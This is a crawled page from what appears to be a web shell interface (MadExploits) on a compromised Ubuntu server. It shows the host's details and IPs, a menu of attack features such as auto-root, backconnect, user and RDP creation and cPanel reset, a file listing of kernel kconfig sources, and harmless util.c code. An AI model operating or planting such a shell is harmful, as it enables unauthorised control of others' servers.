Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-160 /
scripts /
kconfig /
[ HOME SHELL ]
Name
Size
Permission
Action
lxdialog
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.gitignore
88
B
-rw-r--r--
Makefile
7.61
KB
-rw-r--r--
conf.c
20.08
KB
-rw-r--r--
confdata.c
22.79
KB
-rw-r--r--
expr.c
29.54
KB
-rw-r--r--
expr.h
9.43
KB
-rw-r--r--
gconf-cfg.sh
775
B
-rwxr-xr-x
gconf.c
38
KB
-rw-r--r--
gconf.glade
25.04
KB
-rw-r--r--
images.c
6.42
KB
-rw-r--r--
images.h
857
B
-rw-r--r--
internal.h
172
B
-rw-r--r--
lexer.l
9.04
KB
-rw-r--r--
list.h
3.66
KB
-rw-r--r--
lkc.h
3.95
KB
-rw-r--r--
lkc_proto.h
1.97
KB
-rw-r--r--
mconf-cfg.sh
1.47
KB
-rwxr-xr-x
mconf.c
27.19
KB
-rw-r--r--
menu.c
21.57
KB
-rw-r--r--
merge_config.sh
5.06
KB
-rwxr-xr-x
nconf-cfg.sh
1.37
KB
-rwxr-xr-x
nconf.c
37.85
KB
-rw-r--r--
nconf.gui.c
14.53
KB
-rw-r--r--
nconf.h
2
KB
-rw-r--r--
parser.y
15.24
KB
-rw-r--r--
preprocess.c
11.07
KB
-rw-r--r--
qconf-cfg.sh
643
B
-rwxr-xr-x
qconf.cc
43.42
KB
-rw-r--r--
qconf.h
6.4
KB
-rw-r--r--
streamline_config.pl
16.43
KB
-rwxr-xr-x
symbol.c
28.72
KB
-rw-r--r--
util.c
2.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : util.c
// SPDX-License-Identifier: GPL-2.0 /* * Copyright (C) 2002-2005 Roman Zippel <zippel@linux-m68k.org> * Copyright (C) 2002-2005 Sam Ravnborg <sam@ravnborg.org> */ #include <stdarg.h> #include <stdlib.h> #include <string.h> #include "lkc.h" /* file already present in list? If not add it */ struct file *file_lookup(const char *name) { struct file *file; for (file = file_list; file; file = file->next) { if (!strcmp(name, file->name)) { return file; } } file = xmalloc(sizeof(*file)); memset(file, 0, sizeof(*file)); file->name = xstrdup(name); file->next = file_list; file_list = file; return file; } /* Allocate initial growable string */ struct gstr str_new(void) { struct gstr gs; gs.s = xmalloc(sizeof(char) * 64); gs.len = 64; gs.max_width = 0; strcpy(gs.s, "\0"); return gs; } /* Free storage for growable string */ void str_free(struct gstr *gs) { if (gs->s) free(gs->s); gs->s = NULL; gs->len = 0; } /* Append to growable string */ void str_append(struct gstr *gs, const char *s) { size_t l; if (s) { l = strlen(gs->s) + strlen(s) + 1; if (l > gs->len) { gs->s = xrealloc(gs->s, l); gs->len = l; } strcat(gs->s, s); } } /* Append printf formatted string to growable string */ void str_printf(struct gstr *gs, const char *fmt, ...) { va_list ap; char s[10000]; /* big enough... */ va_start(ap, fmt); vsnprintf(s, sizeof(s), fmt, ap); str_append(gs, s); va_end(ap); } /* Retrieve value of growable string */ const char *str_get(struct gstr *gs) { return gs->s; } void *xmalloc(size_t size) { void *p = malloc(size); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } void *xcalloc(size_t nmemb, size_t size) { void *p = calloc(nmemb, size); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } void *xrealloc(void *p, size_t size) { p = realloc(p, size); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } char *xstrdup(const char *s) { char *p; p = strdup(s); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } char *xstrndup(const char *s, size_t n) { char *p; p = strndup(s, n); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); }
Close